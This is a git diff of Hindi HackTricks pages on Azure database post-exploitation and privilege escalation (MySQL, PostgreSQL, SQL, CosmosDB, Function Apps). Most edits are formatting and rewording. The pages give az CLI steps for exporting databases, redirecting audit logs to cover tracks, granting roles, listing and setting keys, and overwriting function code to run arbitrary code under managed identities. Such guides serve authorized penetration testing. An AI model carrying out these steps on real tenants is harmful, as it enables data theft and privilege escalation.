-इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए GTID (Global Transaction Identifier) को रीसेट कर सकते हैं। GTID को रीसेट करने से सभी स्वचालित, ऑन-डिमांड बैकअप और जियो-बैकअप अमान्य हो जाएंगे जो रीसेट क्रिया से पहले लिए गए थे। GTID रीसेट के बाद, आप PITR (point-in-time-restore) को सबसे तेज़ पुनर्स्थापना बिंदु का उपयोग करके या कस्टम पुनर्स्थापना बिंदु द्वारा नहीं कर पाएंगे यदि चयनित पुनर्स्थापना समय GTID रीसेट समय से पहले है। और सफल जियो-रीस्टोर केवल 5 दिनों के बाद ही संभव होगा।
-
-{% code overflow="wrap" %}
+इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए GTID (Global Transaction Identifier) को रीसेट कर सकते हैं। GTID को रीसेट करने से सभी स्वचालित, ऑन-डिमांड बैकअप और जियो-बैकअप अमान्य हो जाएंगे जो रीसेट क्रिया से पहले लिए गए थे। GTID रीसेट के बाद, आप सबसे तेज़ पुनर्स्थापना बिंदु का उपयोग करके या कस्टम पुनर्स्थापना बिंदु द्वारा PITR (point-in-time-restore) करने में असमर्थ होंगे यदि चयनित पुनर्स्थापना समय GTID रीसेट समय से पहले है। और सफल जियो-रीस्टोर केवल 5 दिनों के बाद ही संभव होगा।
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group \
--gtid-set
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
-### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
-
-इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections।
-
-{% code overflow="wrap" %}
+इस अनुमति के साथ, आप Azure पर MySQL Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर के पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections।
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
--server-name \
--args max_connections=
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
इस अनुमति के साथ, आप MySQL लचीले सर्वरों के लिए एक उपयोगकर्ता-निर्धारित प्रबंधित पहचान सौंप सकते हैं।
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+### `Microsoft.DBforMySQL/flexibleServers/stop/action`
इस अनुमति के साथ, आप Azure पर एक PostgreSQL Flexible Server उदाहरण को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा में व्यवधान आ सकता है, जो डेटाबेस पर निर्भर अनुप्रयोगों और उपयोगकर्ताओं को प्रभावित कर सकता है।
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforMySQL/flexibleServers/start/action"
+### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index 0cbaf0f5e..d6f460ce7 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -5,54 +5,40 @@
## PostgreSQL डेटाबेस पोस्ट एक्सप्लोइटेशन
PostgreSQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-postgresql.md" %}
-[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-postgresql.md
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
-इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
-
-{% code overflow="wrap" %}
+इस अनुमति के साथ, आप Azure पर एक Postgres फ्लेक्सिबल सर्वर इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
```bash
az postgres flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को मांग पर बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है।
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए Advanced Threat Protection (ATP) सेटिंग्स को कॉन्फ़िगर या अपडेट कर सकते हैं। यह असामान्य गतिविधियों और संभावित खतरों का पता लगाने और प्रतिक्रिया देने के लिए डिज़ाइन की गई सुरक्षा सुविधाओं को सक्षम या अक्षम करने की अनुमति देता है।
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए फ़ायरवॉल नियम बना या संशोधित कर सकते हैं। यह नियंत्रित करता है कि कौन से IP पते या रेंज सर्वर तक पहुँच सकते हैं। इस अनुमति का अनधिकृत या अनुचित उपयोग सर्वर को अवांछित या दुर्भावनापूर्ण पहुँच के लिए उजागर कर सकता है।
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है।
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name \
--value
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा में व्यवधान आ सकता है, जो डेटाबेस पर निर्भर अनुप्रयोगों और उपयोगकर्ताओं को प्रभावित कर सकता है।
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index 880d9ec2b..a9f4dced4 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -10,9 +10,9 @@ SQL Database के बारे में अधिक जानकारी
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
-इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण के भीतर डेटाबेस बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण कार्यों को सक्षम करने के लिए।
+इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में डेटाबेस बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, जिससे संचालन में बाधा आ सकती है या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम किया जा सकता है।
```bash
# Create Database
az sql db create --resource-group --server --name
@@ -20,9 +20,9 @@ az sql db create --resource-group --server --name
# Update Database
az sql db update --resource-group --server --name --max-size
```
-### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
-इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में elasticPools बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम करने के लिए।
+इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में elasticPools बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, जो संभावित रूप से संचालन को बाधित कर सकती है या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम कर सकती है।
```bash
# Create Elastic Pool
az sql elastic-pool create \
@@ -40,7 +40,7 @@ az sql elastic-pool update \
--dtu \
--tags
```
-### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
इस अनुमति के साथ, आप Azure SQL Server पर ऑडिटिंग सेटिंग्स को संशोधित या सक्षम कर सकते हैं। यह एक हमलावर या अधिकृत उपयोगकर्ता को ऑडिट कॉन्फ़िगरेशन में हेरफेर करने की अनुमति दे सकता है, संभावित रूप से ट्रैक को कवर करने या ऑडिट लॉग को उनके नियंत्रण में किसी स्थान पर पुनर्निर्देशित करने की अनुमति दे सकता है। यह सुरक्षा निगरानी में बाधा डाल सकता है या इसे क्रियाओं का ट्रैक रखने में सक्षम बना सकता है। नोट: Blob Storage का उपयोग करके Azure SQL Server के लिए ऑडिटिंग सक्षम करने के लिए, आपको एक स्टोरेज खाता संलग्न करना होगा जहाँ ऑडिट लॉग को सहेजा जा सके।
```bash
@@ -51,7 +51,7 @@ az sql server audit-policy update \
--storage-account \
--retention-days 7
```
-### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
इस अनुमति के साथ, आप Azure SQL Server की कनेक्शन नीतियों को संशोधित कर सकते हैं। इस क्षमता का उपयोग सर्वर-स्तरीय कनेक्शन सेटिंग्स को सक्षम या बदलने के लिए किया जा सकता है।
```bash
@@ -60,7 +60,7 @@ az sql server connection-policy update \
--resource-group \
--connection-type
```
-### "Microsoft.Sql/servers/databases/export/action"
+### `Microsoft.Sql/servers/databases/export/action`
इस अनुमति के साथ, आप Azure SQL Server से एक डेटाबेस को एक स्टोरेज अकाउंट में निर्यात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, वह डेटाबेस से संवेदनशील डेटा को एक ऐसी जगह पर निर्यात करके निकाल सकता है जिसे वह नियंत्रित करता है, जिससे डेटा लीक का महत्वपूर्ण जोखिम होता है। इसे करने के लिए स्टोरेज कुंजी जानना महत्वपूर्ण है।
```bash
@@ -74,9 +74,9 @@ az sql db export \
--admin-password
```
-### "Microsoft.Sql/servers/databases/import/action"
+### `Microsoft.Sql/servers/databases/import/action`
-इस अनुमति के साथ, आप एक डेटाबेस को Azure SQL Server में आयात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, संभावित रूप से दुर्भावनापूर्ण या हेरफेर किए गए डेटाबेस अपलोड कर सकता है। इससे संवेदनशील डेटा पर नियंत्रण प्राप्त करने या आयातित डेटाबेस के भीतर हानिकारक स्क्रिप्ट या ट्रिगर्स को एम्बेड करने की संभावना हो सकती है। इसके अतिरिक्त, आप इसे अपने स्वयं के सर्वर में Azure में आयात कर सकते हैं। नोट: सर्वर को Azure सेवाओं और संसाधनों को सर्वर तक पहुंचने की अनुमति देनी चाहिए।
+इस अनुमति के साथ, आप Azure SQL Server में एक डेटाबेस आयात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, संभावित रूप से दुर्भावनापूर्ण या हेरफेर किए गए डेटाबेस अपलोड कर सकता है। इससे संवेदनशील डेटा पर नियंत्रण प्राप्त करने या आयातित डेटाबेस के भीतर हानिकारक स्क्रिप्ट या ट्रिगर्स को एम्बेड करने की संभावना हो सकती है। इसके अतिरिक्त, आप इसे अपने स्वयं के सर्वर में Azure में आयात कर सकते हैं। नोट: सर्वर को Azure सेवाओं और संसाधनों को सर्वर तक पहुंचने की अनुमति देनी चाहिए।
```bash
az sql db import --admin-user \
--admin-password \
@@ -85,6 +85,6 @@ az sql db import --admin-user \
--resource-group \
--storage-key-type SharedAccessKey \
--storage-key \
---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index f2c264bbb..a28e5f541 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -5,15 +5,13 @@
## CosmosDB Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
-इन अनुमतियों के साथ आप एक उपयोगकर्ता को क्वेरी निष्पादित करने और डेटाबेस से कनेक्ट करने के लिए अनुमतियाँ देकर विशेषाधिकार बढ़ा सकते हैं। सबसे पहले एक परिभाषा भूमिका बनाई जाती है जो आवश्यक अनुमतियाँ और दायरे प्रदान करती है।
-
-{% code overflow="wrap" %}
+इन अनुमतियों के साथ आप एक उपयोगकर्ता को क्वेरी निष्पादित करने और डेटाबेस से कनेक्ट करने के लिए अनुमतियाँ देकर विशेषाधिकार बढ़ा सकते हैं। सबसे पहले एक परिभाषा भूमिका बनाई जाती है जो आवश्यक अनुमतियाँ और दायरे देती है।
```bash
az cosmosdb sql role definition create \
--account-name \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
-{% endcode %}
-
इसके बाद परिभाषा का असाइनमेंट एक उपयोगकर्ता को दिया जाता है। इसके बाद वह उपयोगकर्ता DefaultAzureCredential() कनेक्शन विधि का उपयोग करके क्वेरी निष्पादित कर सकता है।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role assignment create \
--account-name \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id \
--scope "/"
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
-इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
+इस अनुमति के साथ, आप Azure Cosmos DB खाते के लिए प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
```bash
az cosmosdb keys list \
--name \
--resource-group
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index 454690f86..2d955b574 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -12,15 +12,15 @@
### Bucket Read/Write
-यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को ढूंढना संभव है जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
+यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-परिभाषित नामों के साथ) को खोज सकते हैं जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं।
-- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE)`
+- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`)
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर स्टोर किया जाता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमाना कोड लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
-यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं
+यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं
```bash
az functionapp config appsettings list \
--name \
@@ -31,7 +31,7 @@ az functionapp config appsettings list \
> [!CAUTION]
> फ़ाइल शेयर से कनेक्ट करने और **स्क्रिप्ट को संशोधित करने** के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
-निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करने के लिए है, लेकिन फ़ाइल शेयर के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
+निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करता है, लेकिन फ़ाइल शेयरों के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
{{#ref}}
../az-services/az-file-shares.md
@@ -55,10 +55,10 @@ az functionapp config appsettings list \
--name \
--resource-group
```
-यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने** के लिए स्टोरेज अकाउंट से कोड में शामिल करेगा।
+यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने के लिए** स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा।
> [!CAUTION]
-> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्शन में मनमाने कोड को निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
+> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्शन में मनमाने कोड को निष्पादित करना और विशेषाधिकारों को बढ़ाना संभव है।
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
@@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-.zip
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **``** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
> [!CAUTION]
-> यदि ज़िप एक्सटेंशन फ़ाइल में **कोड** को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है (जो वास्तव में एक **`squashfs`** है) तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
+> यदि **ज़िप एक्सटेंशन फ़ाइल** (जो वास्तव में एक **`squashfs`** है) में कोड को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -116,9 +116,9 @@ az storage blob upload \
--file /tmp/scm-latest-.zip \
--overwrite
```
-### Microsoft.Web/sites/host/listkeys/action
+### `Microsoft.Web/sites/host/listkeys/action`
-यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं, के साथ:
+यह अनुमति निर्दिष्ट कार्य के कार्य, मास्टर और सिस्टम कुंजी को सूचीबद्ध करने की अनुमति देती है, लेकिन मेज़बान कुंजी नहीं।
```bash
az functionapp keys list --resource-group --name
```
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
-### Microsoft.Web/sites/functions/listKeys/action
+### `Microsoft.Web/sites/functions/listKeys/action`
यह अनुमति निर्दिष्ट फ़ंक्शन की होस्ट कुंजी प्राप्त करने की अनुमति देती है:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01"
```
-### Microsoft.Web/sites/host/functionKeys/write
+### `Microsoft.Web/sites/host/functionKeys/write`
यह अनुमति निर्दिष्ट फ़ंक्शन की फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
```bash
az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/host/masterKey/write
+### `Microsoft.Web/sites/host/masterKey/write`
यह अनुमति निर्दिष्ट फ़ंक्शन के लिए मास्टर कुंजी बनाने/अपडेट करने की अनुमति देती है:
```bash
@@ -164,15 +164,15 @@ az functionapp keys set --resource-group --key-name --key
> [!CAUTION]
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए गए अनुसार संशोधित कर सकते हैं!
-### Microsoft.Web/sites/host/systemKeys/write
+### `Microsoft.Web/sites/host/systemKeys/write`
